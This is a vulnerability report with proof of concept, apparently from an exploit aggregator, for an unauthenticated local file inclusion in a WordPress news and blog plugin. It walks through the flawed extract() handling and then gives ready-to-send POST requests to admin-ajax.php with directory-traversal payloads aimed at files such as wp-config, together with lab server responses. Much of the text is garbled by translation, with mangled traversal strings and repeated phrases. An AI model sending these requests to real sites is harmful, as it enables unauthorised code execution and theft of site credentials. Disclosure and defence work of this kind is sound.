Share
## https://sploitus.com/exploit?id=E1D97D1F-277A-5C50-8D04-295688A4A985
# CVE-2025-14502 Vulnerability Analysis Report

## Vulnerability Overview

**Vulnerability Type**: Local File Inclusion (LFI)
**Versions Affected**: News and Blog Designer Bundle 1.1 and all previous versions.
**Severity**: High risk
**Attack Complexity**: Low (no authentication required)

## Vulnerability Schema

### 1. Vulnerability Location

The main vulnerability exists in the `nbdb_fetch_more_post()` method in the `includes/class-nbdb-ajax.php` file.

### 2. Code audit details

#### 2.1 Vulnerable Code Location

```31:34:includes/class-nbdb-ajax.php
sanitize_text_field(extract( $_POST['shrt_param'] )).

$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
```

#### 2.2 Vulnerability Causation Analysis

**Issue 1: Improper use of the extract() function**

There is a serious problem in line 31 of the code:

``` php
sanitize_text_field(extract( $_POST['shrt_param'] ));;
```

- The `extract()` function extracts the keys of the array as variable names and the values as variable values directly to the current scope
- The return value of ``extract()`` is the number of variables ** successfully extracted ** (integer), not the array itself.
- The `sanitize_text_field()` function expects a string argument, but here an integer is passed.
- ** so this line of code doesn't actually have any security protection **

**Problem 2: Lack of parameter validation **

Line 33 uses the `$template` variable directly to construct the file path:

``` php
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
```

- The `$template` variable comes from `extract($_POST['shrt_param'])`, ** completely controlled by the user input **
- **without any whitelist validation
- **without any path normalization **
- **Allows directory traversal attacks** **Allows directory traversal attacks** **Allows directory traversal attacks

**Issue 3: Only checking for file existence**

Line 34 only checks for file existence:

```php
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
```

- ``file_exists()`'' only verifies that the file exists, **not the path legitimacy**
- If the attacker has control over the `$template` parameter, it can perform directory traversal via `. /` directory traversal
- Eventually, `include($template_file)` is executed at line 93, causing any file to be included.

#### 2.3 Comparison: Secure Implementations of Short-Code Handler Functions

In `shortcodes/class-nbdb-shortcode.php`, all shortcode handlers use **whitelist validation**:

```55:55:shortcodes/class-nbdb-shortcode.php
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
``

- Use the `nbdb_post_template()` function to get a list of allowed templates (only `template-1` and `template-2`)
- Use `array_key_exists()` for whitelist validation
- If not in the whitelist, use the default `template-1`

** This proves that the developer knew how to validate the parameters correctly, but missed the validation in the AJAX handler function. **

### 3. Attack vectors

#### 3.1 Unauthenticated Access

```15:16:includes/class-nbdb-ajax.php
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );;
```

- Both `wp_ajax_` and `wp_ajax_nopriv_` hooks are registered.
- ``wp_ajax_nopriv_`` allows **unlogged-in users** access.
- An attacker can exploit this vulnerability without any authentication

#### 3.2 Attack Flow

1. Attacker constructs a malicious POST request to `/wp-admin/admin-ajax.php`. 2.
2. set the `action=nbdb_fetch_more_post` in `/wp-admin/admin-ajax.php`.
3. Inject a directory traversal load into `shrt_param[template]` (e.g. `... /... /... /... /wp-config`)
4. server executes `extract($_POST['shrt_param'])` to extract `template` to variable
5. Build the path: `NBDB_DIR . '/view/nbdb-masonry/' . '.. /... /... /... /wp-config' . '.php'`
6. `file_exists()` returns true if the target file exists.
7. Execute `include($template_file)` to include and execute the target PHP file.

### 4. Impact of the vulnerability

#### 4.1 Direct Harm

- **Code execution**: Can lead to Remote Code Execution (RCE) if it can contain executable PHP files.
- **Sensitive information disclosure**: It is possible to read the contents of PHP files on the server (e.g. `wp-config.php`).
- **Elevation of Privilege**: Access control may be bypassed in certain configurations.

#### 4.2 Exploitation Conditions

- The target file must exist and be readable
- The target file must have a `.php` extension (the `.php` extension is hardcoded in the code).
- The server must allow `include()` to execute the included file, "readable" assumes that the included PHP itself has visible output (echo/print/error/protocol response), otherwise you won't see the content.

## Vulnerability verification steps
### 1. Construct a test request


```bash
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=... /... /... /... /...  media_size]=DESC&shrt_param[order]=DESC
``

### 1.1 Analyzing the response
```bash
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'.
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8







faultCode
-32700


faultString
parse error. not well formed





``

### 2. Constructing a test request


```bash
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=... /... /... /... /... /wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[ orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large
``

### 2.1 Analyzing the response
```bash
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'.
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

   
``